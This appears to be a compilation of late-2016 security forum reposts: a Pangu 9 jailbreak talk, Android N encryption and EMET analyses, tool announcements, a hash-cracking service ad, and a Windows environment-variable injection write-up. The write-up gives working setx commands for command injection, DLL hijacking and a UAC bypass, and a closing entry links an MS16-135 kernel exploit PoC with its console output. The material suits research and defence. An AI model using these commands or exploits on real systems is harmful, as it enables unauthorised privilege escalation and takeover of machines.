evaluate the SEP attack surface and highlight some of the findings of our research, including potential attack vectors.
-
Pangu 9 Internals Publicat pe 22 nov. 2016 by Tielei Wang & Hao Xu & Xiaobo Chen Pangu 9, the first (and only) untethered jailbreak tool for iOS 9, exploited a sequence of vulnerabilities in the iOS userland to achieve final arbitrary code execution in the kernel and persistent code signing bypass. Although these vulnerabilities were fixed in iOS 9.2, there are no details disclosed. This talk will reveal the internals of Pangu 9. Specifically, this talk will first present a logical error in a system service that is exploitable by any container app through XPC communication to gain arbitrary file read/write as mobile. Next, this talk will explain how Pangu 9 gains arbitrary code execution outside the sandbox through the system debugging feature. This talk will then elaborate a vulnerability in the process of loading the dyld_shared_cache file that enables Pangu 9 to achieve persistent code signing bypass. Finally, this talk will present a vulnerability in the backup-restore process that allows apps signed by a revoked enterprise certificate to execute without the need of the user's explicit approval of the certificate.
-
- 1
-
-
Secure Host Baseline About the Secure Host Baseline The Secure Host Baseline (SHB) provides an automated and flexible approach for assisting the DoD in deploying the latest releases of Windows 10 using a framework that can be consumed by organizations of all sizes. The DoD CIO issued a memo on November 20, 2015 directing Combatant Commands, Services, Agencies and Field Activities (CC/S/As) to rapidly deploy the Windows 10 operating system throughout their respective organizations with the objective of completing deployment by the end of January 2017. The Deputy Secretary of Defense issued a memo on February 26, 2016directing the DoD to complete a rapid deployment and transition to Microsoft Windows 10 Secure Host Baseline by the end of January 2017.[1] Formal product evaluations also support the move to Windows 10. The National Information Assurance Partnership (NIAP) oversees evaluations of commercial IT products for use in National Security Systems. The Common Criteria evaluation of Windows 10 against the NIAP Protection Profile for General Purpose Operating Systems completed April 5, 2016. The Common Criteria evaluation of Windows 10 against the NIAP Protection Profile for Mobile Device Fundamentals completed January 29, 2016. NIST FIPS 140-2 validation of Windows 10 modules was completed on June 2, 2016 (see certificate numbers 2600, 2601, 2602, 2603, 2604, 2605, 2606, and 2607). Using a Secure Host Baseline is one of NSA Information Assurance top 10 mitigation strategies. The DoD Secure Host Baseline also exemplifies other IAD top 10 mitigation strategies such as using application whitelisting, enabling anti-exploitation features, and using the latest version of the operating system and applications. About this repository This repository hosts Group Policy objects, compliance checks, and configuration tools in support of the DoD Secure Host Baseline (SHB) framework for Windows 10. Administrators of National Security Systems, such as those who are part of the Defense Industrial Base, can leverage this repository in lieu of access to the DoD SHB framework for Windows 10 which requires a Common Access Card (CAC) or Personal Identification Verification (PIV) smart card to access. Questions or comments can be submitted to the repository issue tracker or posted on Windows 10 Secure Host Baseline project forums on Software Forge which requires a CAC or PIV smart card to access. Link: https://github.com/iadgov/Secure-Host-Baseline
-
Ar mai fi de incercat si asta: https://github.com/MooseDojo/apt2
-
Understanding Systemd Linux distributions are adopting or planning to adopt the systemd init system fast. systemd is a suite of system management daemons, libraries, and utilities designed as a central management and configuration platform for the Linux computer operating system. Described by its authors as a “basic building block” for an operating system, systemd primarily aims to replace the Linux init system (the first process executed in user space during the Linux startup process) inherited from UNIX System V and Berkeley Software Distribution (BSD). The name systemd adheres to the Unix convention of making daemons easier to distinguish by having the letter d as the last letter of the filename. systemd is designed for Linux and programmed exclusively for the Linux API. It is published as free and open-source software under the terms of the GNU Lesser General Public License (LGPL) version 2.1 or later. The design of systemd generated significant controversy within the free software community, leading the critics to argue that systemd’s architecture violates the Unix philosophy and that it will eventually form a system of interlocking dependencies. However, as of 2015 most major Linux distributions have adopted it as their default init system. Lennart Poettering and Kay Sievers, software engineers that initially developed systemd, sought to surpass the efficiency of the init daemon in several ways. They wanted to improve the software framework for expressing dependencies, to allow more processing to be done concurrently or in parallel during system booting, and to reduce the computational overhead of the shell. Poettering describes systemd development as “never finished, never complete, but tracking progress of technology”. In May 2014, Poettering further defined systemd as aiming to unify “pointless differences between distributions”, by providing the following three general functions: A system and service manager (manages both the system, as by applying various configurations, and its services) A software platform (serves as a basis for developing other software) The glue between applications and the kernel (provides various interfaces that expose functionalities provided by the kernel) systemd is not just the name of the init daemon but also refers to the entire software bundle around it, which, in addition to the systemd init daemon, includes the daemons journald, logind and networkd, and many other low-level components. In January 2013, Poettering described systemd not as one program, but rather a large software suite that includes 69 individual binaries. As an integrated software suite, systemd replaces the startup sequences and runlevels controlled by the traditional init daemon, along with the shell scripts executed under its control. systemd also integrates many other services that are common on Linux systems by handling user logins, the system console, device hotplugging, scheduled execution (replacing cron) logging, hostnames and locales. Like the init daemon, systemd is a daemon that manages other daemons, which, including systemd itself, are background processes. systemd is the first daemon to start during booting and the last daemon to terminate during shutdown. The systemd daemon serves as the root of the user space’s process tree; the first process (pid 1) has a special role on Unix systems, as it receives a SIGCHLD signal when a daemon process (which has detached from its parent) terminates. Therefore, the first process is particularly well suited for the purpose of monitoring daemons; systemd attempts to improve in that particular area over the traditional approach, which would usually not restart daemons automatically but only launch them once without further monitoring. systemd executes elements of its startup sequence in parallel, which is faster than the traditional startup sequence’s sequential approach. For inter-process communication (IPC), systemd makes Unix domain sockets and D-Bus available to the running daemons. The state of systemd itself can also be preserved in a snapshot for future recall. systemd records initialization instructions for each daemon in a configuration file (referred to as a “unit file”) that uses a declarative language, replacing the traditionally used per-daemon startup shell scripts. Unit file types include service, socket, device, mount, automount, swap, target, path, timer (which can be used as a cron-like job scheduler), snapshot, slice and scope. Articol complet: https://n0where.net/understanding-systemd/
-
Forum | Hash Manager | Hash Finder | Hash Verifier InsidePro Software offers professional and free solutions for recovering passwords to hashes! Our Forum unites the world's best experts in hash and password recovery; its features: – Devoted to recovering passwords to hashes of all types. – Here you can always get help on recovering your passwords. – Forum already contains over 200 thousand messages! Hash Manager is a solution for recovering passwords to hashes; its features: – Supports over 450 hashing algorithms. – Contains over 70 additional utilities for handling hashes, passwords, and dictionaries. – Optimized for working with large hash lists. – Comes in 64-bit version, which is much faster on many algorithms. – Supports unlimited number of loadable hashes, as well as dictionaries, rules, and masks. – Supports all most efficient hash attacks. – Supports multithreading. – Recovers passwords in Unicode. – Has modular architecture. – And much more! Hash Finder service is designed for looking up hashes in a huge database; its features: – Does not require registration. – Supports over 100 hashing algorithms, including salted hashes. – Supports hash list lookup. – Contains only real hashes and passwords (over 1 billion records). – Automatically detects algorithm. – For mixed lists, returns results on each algorithm separately. – Accumulates found hashes in a queue, which is continuously being processed. – Acquires new real hashes and passwords on a daily basis. – The service has checked over 10 billion hashes! Hash Verifier service is designed for automatic verification of hashes and passwords; its features: – Does not require registration. – Supports all most popular hashing algorithms. – Supports hash list verification (up to 1000 lines). – Stores links to successful verification for specified amount of time. – Supports user names and salts in the Hex format. – The service has verified over 80 thousand paid hashes! Sursa: http://www.insidepro.com/
-
Matthew Green in Uncategorized November 24, 2016 2,305 Words The limitations of Android N Encryption Over the past few years we’ve heard more about smartphone encryption than, quite frankly, most of us expected to hear in a lifetime. We learned that proper encryption can slow down even sophisticated decryption attempts if done correctly. We’ve also learned that incorrect implementations can undo most of that security. In other words, phone encryption is an area where details matter. For the past few weeks I’ve been looking a bit at the details of Android Nougat’s new file-based encryption to see how well they’ve addressed some of those details in their latest release. The answer, unfortunately, is that there’s still lots of work to do. In this post I’m going to talk about a bit of that. (As an aside: the inspiration for this post comes from Grugq, who has been loudly and angrily trying to work through these kinks to develop a secure Android phone. So credit where credit is due.) Background: file and disk encryption Disk encryption is much older than smartphones. Indeed, early encrypting filesystems date back at least to the early 1990s and proprietary implementations may go back before that. Even in the relatively new area of PCs operating systems, disk encryption has been a built-in feature since the early 2000s. The typical PC disk encryption system operates as follows. At boot time you enter a password. This is fed through a key derivation function to derive a cryptographic key. If a hardware co-processor is available (e.g., a TPM), your key is further strengthened by “tangling” it with some secrets stored in the hardware. This helps to lock encryption to a particular device. The actual encryption can be done in one of two different ways: Full Disk Encryption (FDE) systems (like Truecrypt, BitLocker and FileVault) encrypt disks at the level of disk sectors. This is an all-or-nothing approach, since the encryption drivers won’t necessarily have any idea what files those sectors represent. At the same time, FDE is popular — mainly because it’s extremely easy to implement. File-based Encryption (FBE) systems (like EncFS and eCryptFS) encrypt individual files. This approach requires changes to the filesystem itself, but has the benefit of allowing fine grained access controls where individual files are encrypted using different keys. Most commercial PC disk encryption software has historically opted to use the full-disk encryption (FDE) approach. Mostly this is just a matter of expediency: FDE is just significantly easier to implement. But philosophically, it also reflects a particular view of what disk encryption was meant to accomplish. In this view, encryption is an all-or-nothing proposition. Your machine is either on or off; accessible or inaccessible. As long as you make sure to have your laptop stolen only when it’s off, disk encryption will keep you perfectly safe. So what does this have to do with Android? Android’s early attempts at adding encryption to their phones followed the standard PC full-disk encryption paradigm. Beginning in Android 4.4 (Kitkat) through Android 6.0 (Marshmallow), Android systems shipped with a kernel device mapper called dm-crypt designed to encrypt disks at the sector level. This represented a quick and dirty way to bring encryption to Android phones, and it made sense — if you believe that phones are just very tiny PCs. The problem is that smartphones are not PCs. The major difference is that smartphone users are never encouraged to shut down their device. In practice this means that — after you enter a passcode once after boot — normal users spend their whole day walking around with all their cryptographic keys in RAM. Since phone batteries live for a day or more (a long time compared to laptops) encryption doesn’t really offer much to protect you against an attacker who gets their hands on your phone during this time. Of course, users do lock their smartphones. In principle, a clever implementation could evict sensitive cryptographic keys from RAM when the device locks, then re-derive them the next time the user logs in. Unfortunately, Android doesn’t do this — for the very simple reason that Android users want their phones to actually work. Without cryptographic keys in RAM, an FDE system loses access to everything on the storage drive. In practice this turns it into a brick. For this very excellent reason, once you boot an Android FDE phone it will never evict its cryptographic keys from RAM. And this is not good. So what’s the alternative? Android is not the only game in town when it comes to phone encryption. Apple, for its part, also gave this problem a lot of thought and came to a subtly different solution. Starting with iOS 4, Apple included a “data protection” feature to encrypt all data stored a device. But unlike Android, Apple doesn’t use the full-disk encryption paradigm. Instead, they employ a file-based encryption approach that individually encrypts each file on the device. In the Apple system, the contents of each file is encrypted under a unique per-file key (metadata is encrypted separately). The file key is in turn encrypted with one of several “class keys” that are derived from the user passcode and some hardware secrets embedded in the processor. iOS data encryption. Source: iOS Security Guide. The main advantage of the Apple approach is that instead of a single FDE key to rule them all, Apple can implement fine-grained access control for individual files. To enable this, iOS provides an API developers can use to specify which class key to use in encrypting any given file. The available “protection classes” include: Complete protection. Files encrypted with this class key can only be accessed when the device is powered up and unlocked. To ensure this, the class key is evicted from RAM a few seconds after the device locks. Protected Until First User Authentication. Files encrypted with this class key are protected until the user first logs in (after a reboot), and the key remains in memory. No protection. These files are accessible even when the device has been rebooted, and the user has not yet logged in. By giving developers the option to individually protect different files, Apple made it possible to build applications that can work while the device is locked, while providing strong protection for files containing sensitive data. Apple even created a fourth option for apps that simply need to create new encrypted files when the class key has been evicted from RAM. This class uses public key encryption to write new files. This is why you can safely take pictures even when your device is locked. Apple’s approach isn’t perfect. What it is, however, is the obvious result of a long and careful thought process. All of which raises the following question… Why the hell didn’t Android do this as well? The short answer is Android is trying to. Sort of. Let me explain. As of Android 7.0 (Nougat), Google has moved away from full-disk encryption as the primary mechanism for protecting data at rest. If you set a passcode on your device, Android N systems can be configured to support a more Apple-like approach that uses file encryption. So far so good. The new system is called Direct Boot, so named because it addresses what Google obviously saw as fatal problem with Android FDE — namely, that FDE-protected phones are useless bricks following a reboot. The main advantage of the new model is that it allows phones to access some data even before you enter the passcode. This is enabled by providing developers with two separate “encryption contexts”: Credential encrypted storage. Files in this area are encrypted under the user’s passcode, and won’t be available until the user enters their passcode (once). Device encrypted storage. These files are not encrypted under the user’s passcode (though they may be encrypted using hardware secrets). Thus they are available after boot, even before the user enters a passcode. Direct Boot even provides separate encryption contexts for different users on the phone — something I’m not quite sure what to do with. But sure, why not? If Android is making all these changes, what’s the problem? One thing you might have noticed is that where Apple had four categories of protection, Android N only has two. And it’s the two missing categories that cause the problems. These are the “complete protection” categories that allow the user to lock their device following first user authentication — and evict the keys from memory. Of course, you might argue that Android could provide this by forcing application developers to switch back to “device encrypted storage” following a device lock. The problem with this idea is twofold. First, Android documentation and sample code is explicit that this isn’t how things work: Moreover, a quick read of the documentation shows that even if you wanted to, there is no unambiguous way for Android to tell applications when the system has been re-locked. If keys are evicted when the device is locked, applications will unexpectedly find their file accesses returning errors. Even system applications tend to do badly when this happens. And of course, this assumes that Android N will even try to evict keys when you lock the device. Here’s how the current filesystem encryption code handles locks: While the above is bad, it’s important to stress that the real problem here is not really in the cryptography. The problem is that since Google is not giving developers proper guidance, the company may be locking Android into years of insecurity. Without (even a half-baked) solution to define a “complete” protection class, Android app developers can’t build their apps correctly to support the idea that devices can lock. Even if Android O gets around to implementing key eviction, the existing legacy app base won’t be able to handle it — since this will break a million apps that have implemented their security according to Android’s current recommendations. In short: this is a thing you get right from the start, or you don’t do at all. It looks like — for the moment — Android isn’t getting it right. Are keys that easy to steal? Of course it’s reasonable to ask whether it’s having keys in RAM is that big of concern in the first place. Can these keys actually be accessed? The answer to that question is a bit complicated. First, if you’re up against somebody with a hardware lab and forensic expertise, the answer is almost certainly “yes”. Once you’ve entered your passcode and derived the keys, they aren’t stored in some magically secure part of the phone. People with the ability to access RAM or the bus lines of the device can potentially nick them. But that’s a lot of work. From a software perspective, it’s even worse. A software attack would require a way to get past the phone’s lockscreen in order to get running code on the device. In older (pre-N) versions of Android the attacker might need to then escalate privileges to get access to Kernel memory. Remarkably, Android N doesn’t even store its disk keys in the Kernel — instead they’re held by the “vold” daemon, which runs as user “root” in userspace. This doesn’t make exploits trivial, but it certainly isn’t the best way to handle things. Of course, all of this is mostly irrelevant. The main point is that if the keys are loaded you don’t need to steal them. If you have a way to get past the lockscreen, you can just access files on the disk. What about hardware? Although a bit of a tangent, it’s worth noting that many high-end Android phones use some sort of trusted hardware to enable encryption. The most common approach is to use a trusted execution environment (TEE) running with ARM TrustZone. This definitely solves a problem. Unfortunately it’s not quite the same problem as discussed above. ARM TrustZone — when it works correctly, which is not guaranteed — forces attackers to derive their encryption keys on the device itself, which should make offline dictionary attacks on the password much harder. In some cases, this hardware can be used to cache the keys and reveal them only when you input a biometric such as a fingerprint. The problem here is that in Android N, this only helps you at the time the keys are being initially derived. Once that happens (i.e., following your first login), the hardware doesn’t appear to do much. The resulting derived keys seem to live forever in normal userspace RAM. While it’s possible that specific phones (e.g., Google’s Pixel, or Samsung devices) implement additional countermeasures, on stock Android N phones hardware doesn’t save you. So what does it all mean? How you feel about this depends on whether you’re a “glass half full” or “glass half empty” kind of person. If you’re an optimistic type, you’ll point out that Android is clearly moving in the right direction. And while there’s a lot of work still to be done, even a half-baked implementation of file-based implementation is better than the last generation of dumb FDE Android encryption. Also: you probably also think clowns are nice. On the other hand, you might notice that this is a pretty goddamn low standard. In other words, in 2016 Android is still struggling to deploy encryption that achieves (lock screen) security that Apple figured out six years ago. And they’re not even getting it right. That doesn’t bode well for the long term security of Android users. And that’s a shame, because as many have pointed out, the users who rely on Android phones are disproportionately poorer and more at-risk. By treating encryption as a relatively low priority, Google is basically telling these people that they shouldn’t get the same protections as other users. This may keep the FBI off Google’s backs, but in the long term it’s bad judgement on Google’s part. Sursa: https://blog.cryptographyengineering.com/2016/11/24/android-n-encryption/
-
Command Injection/Elevation – Environment Variables Revisited Yotam Gottesman November 24, 2016 Windows environment variables can be used to run commands and can also be used to bypass UAC, allowing an attacker with limited privileges to take complete control of the system. This code leverages a rather unusual scenario within Windows OS. This is a continuation of our research as described in a previous post: Elastic Boundaries on BreakingMalware.com Background and Research Basis In the last post on this topic, we have demonstrated that changing a location referred to by environment variables can divert file operations from a legitimate path to a possibly malicious one. Looking through the registry suggests different scenarios and possibilities that exist for environment variable expansion (ab)use. Let’s continue from where we left last time. Scenario 6: Command Injection Assumption: If a command contains an environment variable, it can be expanded into multiple executable commands. Possibility: An attacker can set up commands that will be executed when a different, unrelated file is opened or otherwise accessed. Application: A regular text file (.txt) opens with notepad.exe. The command to open such a file is: %SystemRoot%\System32\NOTEPAD.EXE %1 Effectively running this command: C:\Windows\System32\NOTEPAD.EXE <filename.txt> Now, by using this command: setx SystemRoot “C:\Windows\System32\cmd.exe && C:\Windows” The resulting line changes to: C:\Windows\System32\cmd.exe && C:\Windows\System32\NOTEPAD.EXE <filename.txt> Which means opening a command window before Notepad is called. “&&” means Notepad will run after the command exits, if it succeeds. There are other operators that could be used here instead. A command string, containing environment variables Scenario 7: Parameter Manipulation The Windows registry contains commands that parse and expand a string that contains multiple percent signs (‘%’) A parameter string, vulnerable to fake variable expansion Assumption: Anything between two percent signs is considered an environment variable and could be expanded as one. Possibility: An attacker can set an environment variable-like string to be expanded by Windows, manipulating command parameters. Application: Setting an environment variable named 1”, and pointing it to any dll file. Quote symbols must be escaped. setx “1\”,” “C:\Temp\evil.dll\”,” Result: Running any .cpl file on the system will run evil.dll instead. Scenario 8: Elevation using environment variables expansion. Again. Right-clicking “My Computer” (or “This PC”, on Windows 10) and choosing “Manage” from the context menu causes the “Computer Management” console to open with elevated privileges and without showing the UAC prompt. Behind the scenes, this behavior is defined by the verb “Manage” of the computer item’s class, as can be seen in the registry at this path: HKCR\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command The value for this key is: %SystemRoot%\system32\CompMgmtLauncher.exe Assumption: CompMgmtLauncher.exe runs with elevated privileges. Possibility: An attacker can take control of this command by setting SystemRoot and gain elevated privileges. Result: Failure. Our assumption is incorrect at this point. Changing the path did cause a different executable to launch instead of CompMgmtLauncher.exe, but it was running with medium integrity (i.e, not elevated). Further Research: So, what does CompMgmtLauncher.exe do to achieve elevated status? The Anomaly: CompMgmtLauncher.exe actually runs another link in the chain – a .lnk file, found in the Start Menu’s Administrative Tools folder: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Computer Management.lnk This link file points to the already familiar mmc.exe in Windows\System32, giving it an argument in the form of a .msc file, specifically compmgmt.msc. It appears that running mmc.exe by itself shows the UAC prompt, but running it with some specific .msc files does not. Assumption: CompMgmtLauncher.exe runs the file that the .lnk file points to with elevated privileges. Possibility: An attacker can control the target of the .lnk file and bypass UAC. Result: Failure. Not quite there yet. Writing to the directory and over the .lnk file requires high integrity to begin with. Further Research: The folder of interest is referenced by two environment variables: ALLUSERSPROFILE=C:\ProgramData ProgramData=C:\ProgramData Assumption: CompMgmtLauncher.exe uses one of these variables to access the .lnk file. Possibility: An attacker can change one or both of the mentioned environment variables and gain control over the called .lnk file. Application: Set ProgramData to point to a directory other than C:\ProgramData Create the correct directory tree: Microsoft\Windows\Start Menu\Programs\Administrative Tools Create a link (.lnk) that points to a string containing a command Call “Manage” on “My Computer”/”This PC”. or Run CompMgmtLauncher.exe Result: Success. Elevated command window using CompMgmtLauncher Conclusion and Thoughts The methods described here are not surprising news given previous findings. They also rely on an attacker having some access to the machine and possessing some privileges to initiate an attack. Nevertheless, environment variables can aid attackers in compromising a system and they provide some meaningful additions to their toolset. The images in the post are taken from a machine running Windows 7 32-bit. The methods have been tested on Windows 7 and Windows 10, both 32 and 64 bit versions and require no adjustments. There is still a lot more research to be conducted on the matter, on Windows and other operating systems. https://github.com/BreakingMalwareResearch/eleven Sursa: https://breakingmalware.com/vulnerabilities/command-injection-and-elevation-environment-variables-revisited/
-
Quickstart DriverBuddy Installation Instructions Copy DriverBuddy folder and DriverBuddy.py file into the IDA plugins folder C:\Program Files (x86)\IDA 6.8\plugins or wherever you installed IDA DriverBuddy Usage Instructions Start IDA and open a Windows kernel driver Go to Edit->Plugins and select Driver Buddy or press ctrl-alt-d Check Output window for DriverBuddy analysis results To decode IOCTLs, highlight the suspected IOCTL and press ctrl-alt-i DriverBuddy DriverBuddy is an IDAPython plugin that helps automate some of the tedium surrounding the reverse engineering of Windows Kernel Drivers. It has a number of handy features, such as: Identifying the type of driver Locating DispatchDeviceControl and DispatchInternalDeviceControl functions Populating common structs for WDF and WDM drivers Attempts to identify and label structs like the IRP and IO_STACK_LOCATION Labels calls to WDF functions that would normally be unlabeled Finding known IOCTL codes and decoding them Flagging functions prone to misuse Link: https://github.com/nccgroup/DriverBuddy
-
NEET - Network Enumeration and Exploitation Tool Neet is a flexible, multi-threaded tool for network penetration testing. It runs on Linux and co-ordinates the use of numerous other open-source network tools, with the aim of gathering as much network information as possible in clear, easy-to-use formats. The core scanning engine finds and identifies network services, the modules test or enumerate those services, and the Neet Shell provides an integrated environment for processing the results and exploiting known vulnerabilities. As such, it sits somewhere between manually running your own port scans and subsequent tests, and running a fully automated vulnerability assessment (VA) tool. It has many options which allow the user to tune the test parameters for network scanning in the most efficient and practical way. Neet is aimed at professional penetration testers, internal IT security teams and network administrators who wish to know more about what's actually on their network infrastructure. You might want to try it out if you fall into one of those categories. It has been written (and continues to be developed) by a professional penetration tester over years of engagements, and has been designed explicitly to do the leg-work for you and to make it convenient and safe to get your hands on useful network information before the customer brings your first cup of tea of the day. Link: https://github.com/JonnyHightower/neet
-
Windows 10 Cannot Protect Insecure Applications Like EMET Can POSTED ON NOVEMBER 21, 2016 BY WILL DORMANN IN VULNERABILITY MITIGATION Recently, Microsoft published a blog post called Moving Beyond EMET that appears to make two main points: (1) Microsoft will no longer support EMET after July 31, 2018, and (2) Windows 10 provides protections that make EMET unnecessary. In this blog post, I explain why Windows 10 does not provide the additional protections that EMET does and why EMET is still an important tool to help prevent exploitation of vulnerabilities. EMET Protections and How They Are Applied To compare protections of a Windows-with-EMET system against a stock Windows 10 system, it's important to first enumerate the protections that EMET 5.51 provides: System-Wide Protection Data Execution Prevention (DEP) Structured Exception Handler Overwrite Protection (SEHOP) Address Space Layout Randomization (ASLR) Certificate Trust (Pinning) Block Untrusted Fonts (Fonts) The system-wide DEP, SEHOP, and ASLR settings in EMET are provided by the Windows operating system itself. That is, the benefit of EMET for these settings is simply that it acts as a unified GUI application to make these changes in your system. Application-Specific Protection Data Execution Prevention (DEP) Structured Exception Handler Overwrite Protection (SEHOP) Null Page Allocation (NullPage) Heapspray Allocations (HeapSpray) Export Address Table Access Filtering (EAF) Export Address Table Access Filtering Plus (EAF+) Mandatory Address Space Layout Randomization (ASLR) Bottom-Up Randomization (BottomUpASLR) ROP Mitigations LoadLib MemProt Caller SimExecFlow StackPivot Attack Surface Reduction (ASR) Block Untrusted Fonts (Fonts) Application-specific EMET mitigations are applied by loading the EMET library into the process space of each protected application when it is launched. Here, the EMET library can modify the behavior of the target application by providing additional protections. The application-specific-protection capability provided by EMET is where EMET really adds value. Because we cannot rely on all software vendors to produce code that uses all of the exploit mitigations available, EMET puts this control back in our hands. Detailed descriptions of these protections can be found in the EMET 5.5 User's Guide. Visualizing Protections With and Without EMET To help visualize what EMET can do for us, it is useful to enumerate the exploit mitigations for various Windows versions, both with and without EMET. When it comes to system-wide mitigations, there's not much of a difference between a Windows system that has EMET installed and a stock Windows system that has had the mitigations enabled manually. This comparison, illustrated in the figure below, makes the true benefit of EMET clear: application-specific mitigations. It is pretty clear that an application running on a stock Windows 10 system does not have the same protections as one running on a Windows 10 system with EMET properly configured. Even a Windows 7 system with EMET configured protects your application more than a stock Windows 10 system. Analyzing Microsoft's Statement The Microsoft Blog entry Moving Beyond EMET makes the following statement: Windows 10 includes all of the mitigation features that EMET administrators have come to rely on such as DEP, ASLR, and Control Flow Guard (CFG) along with many new mitigations to prevent bypasses in UAC and exploits targeting the browser. Let's look at the language used and analyze what Microsoft is actually saying and how people may interpret the sentence. Fact: Windows 10 supports DEP, ASLR, and Control Flow Guard (CFG). Fiction: Windows 10 makes EMET irrelevant. In Defense of EMET Microsoft's statement above overlooks the primary reason for someone to run EMET. In particular, users running EMET to protect applications that do not opt in to all of the exploit mitigations that it should. Even though the underlying Windows operating system supports a mitigation, doing so does not necessarily mean that it will be applied to an application. Developer adoption of exploit mitigations takes place at a slower rate than we'd like to see. For example, even Microsoft does not compile all of Office 2010 with the /DYNAMICBASE flag to indicate compatibility with ASLR. What is the impact? An attacker may be able to work around ASLR by causing a non-DYNAMICBASE library to be loaded into the process space of the vulnerable application, potentially resulting in successful exploitation of a memory corruption vulnerability. What do we do to protect ourselves against this situation? We run EMET with application-specific mitigations enabled! The Windows 10 EMET Fallacy Microsoft strongly implies that if you are running Windows 10, there is no need for EMET anymore. This implication is not true. The reason it's not true is that Windows 10 does not provide the application-specific mitigations that EMET does. Windows 10 does indeed provide some nice exploit mitigations. The problem is that the software that you are running needs to be specifically compiled to take advantage of them. Control Flow Guard (CFG) looks to provide similar protections to the ROP application-specific mitigations in EMET. The problem is that the application needs to be specifically compiled to take advantage of CFG. Out of all of the applications you run in your enterprise, do you know which ones are built with CFG support? If an application is not built to use CFG, it doesn't matter if your underlying operating system supports CFG or not. Update (November 21, 2016) Windows 10, version 1607 and Windows Server 2016 do support some application-specific mitigations. In particular, DEP, SEHOP, ASLR, and BottomupASLR. The table above has been updated to reflect this information. Setting these application-specific mitigations requires calculating and setting a bit field value in the Windows registry for each process name that you would like to protect. Please see Override Process Mitigation Options to help enforce app-related security policies for more details. EMET and Its End of Life Microsoft has announced that they will no longer support EMET beyond July 31, 2018. Some may use this end-of-life (EOL) statement as an excuse for not deploying EMET. If this is the case, it would be wise to investigate all of the software that is currently outside of the support window before July 31, 2018. If you are lucky enough that all of your applications are within their support cycle, EMET provides protections against exploitation of new and unknown memory-corruption vulnerabilities, known as "zero-days." Microsoft applications that will lose support a year before EMET are listed in Products Reaching End of Support for 2017. Office 2007 is in this list, for example. With such out-of-support applications, it is even more important to provide additional exploit protection with a product like EMET. When a vulnerability is discovered in a product outside of its support cycle, this vulnerability is referred to as a "forever-day." That is, the vulnerability will never be fixed. Just because Microsoft will stop supporting EMET after July 31, 2018 does not mean that the application will stop working beyond that date. It will likely continue to operate in the same way that it has been working all along. This EOL date simply means that you will not be able to get assistance from Microsoft after that date. Mitigations Without EMET As mentioned earlier, many of the system-wide mitigations exposed by EMET are actually provided by the underlying Windows operating system. The primary mitigations that can be enabled globally are DEP and ASLR. DEP System-wide DEP can be configured using the BCDEdit utility. Microsoft indicates, "Before setting BCDEdit options you might need to disable or suspend BitLocker and Secure Boot on the computer." To change the DEP setting to AlwaysOn, in a CMD prompt with administrative privileges run bcdedit.exe /set {current} nx AlwaysOn ASLR System-wide ASLR can be configured by importing the following registry value: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management] "MoveImages"=dword:ffffffff Notes for System-Wide Settings EMET is not required for setting the above system-wide mitigations for DEP and ASLR. Enabling these features will make Windows more secure than the default configuration. However, the system-wide mitigations are less granular than what is available with EMET. In particular, if an application that you need to run is incompatible with a particular mitigation, it may not be possible to allow that application to run when the system-wide mitigations are in place. On a system with EMET, however, the system-wide mitigations can be relaxed, and compatible application-specific mitigations can be applied on a program-by-program basis. Conclusions and Recommendations While EMET itself is a free tool, successful deployment of it takes some work. But there are rewards to be reaped from this work. From an exploit mitigation perspective, upgrading to Windows 10 is a good idea. Installing EMET with application-specific mitigations configured is also a good idea. EMET provides some protection against zero-day vulnerabilities in supported software, as well as forever-day vulnerabilities in unsupported software. If the use of EMET is not possible, then the system-wide mitigations of DEP and ASLR can be applied without EMET. Windows 10 does not provide all of the mitigation features that EMET administrators have come to rely on. About the Author Will Dormann Contact Will Dormann Visit the SEI Digital Library for other publications by Will Sursa: https://insights.sei.cmu.edu/cert/2016/11/windows-10-cannot-protect-insecure-applications-like-emet-can.html
-
Microsoft Windows Kernel win32k.sys - 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) Complete Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40823.zip Presentation: https://www.exploit-db.com/docs/40822.pdf I Know Where Your Page Lives: Derandomizing the latest Windows 10 Kernel - ZeroNights 2016 Requirements Intel Processor (Haswell or newer) Windows 10 x64 Usage Run ASLRSideChannelAttack.exe to get the PML4-Self-Ref entry: C:\Users\qa\Desktop>ASLRSideChannelAttack.exe +] Setting thread affinity to CPU 0 +] Getting all the potential PML4 SelfRef +] Mapping a page oracle +] Allocating probing target pages... Allocation 0: 0000020E339D0000 Allocation 1: 0000020E339E0000 Allocation 2: 0000020E339F0000 Allocation 3: 0000020E33A00000 Allocation 4: 0000020E33A10000 -------------------------- +] Check that Unammped and Mapped values are consistent across several executions! -------------------------- Unmapped Initial: 256.683746 Mapped Initial: 203.692978 -------------------------- +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... +] Measures are not consistent yet... -------------------------- Unmapped: 247.440018 Mapped: 202.827560 -------------------------- Potential SelfRef: FFFF8140A0502810 +] PTE FFFF81010719CE80 looks mapped! - Time: 207.127213 +] PTE FFFF81010719CF00 looks mapped! - Time: 195.239563 +] PTE FFFF81010719CF80 looks mapped! - Time: 192.401382 +] PTE FFFF81010719D000 looks mapped! - Time: 197.297256 +] PTE FFFF81010719D080 looks mapped! - Time: 194.501175 +] PTE FFFF810804020100 looks mapped! - Time: 204.740097 +] Removing 102 from initial array and pushing it into final array Potential SelfRef: FFFF81C0E0703818 +] PTE FFFF81810719CE80 looks mapped! - Time: 200.837616 +] PTE FFFF81810719CF00 looks mapped! - Time: 207.868774 +] PTE FFFF81810719CF80 looks mapped! - Time: 208.949921 +] PTE FFFF81810719D000 looks mapped! - Time: 202.525726 +] PTE FFFF81810719D080 looks mapped! - Time: 208.673874 Time difference exceed for ffff818804020100, retrying... +] PTE FFFF818804020100 looks mapped! - Time: 209.071213 +] Removing 103 from initial array and pushing it into final array Time difference exceed for ffff824120904820, retrying... Potential SelfRef: FFFF824120904820 +] PTE FFFF82010719CE80 looks mapped! - Time: 198.373642 Time difference exceed for ffff82010719cf00, retrying... +] PTE FFFF82010719CF00 looks mapped! - Time: 206.213593 +] PTE FFFF82010719CF80 looks mapped! - Time: 210.637344 +] PTE FFFF82010719D000 looks mapped! - Time: 207.820862 +] PTE FFFF82010719D080 looks mapped! - Time: 197.229263 +] PTE FFFF820804020100 looks mapped! - Time: 204.585739 +] 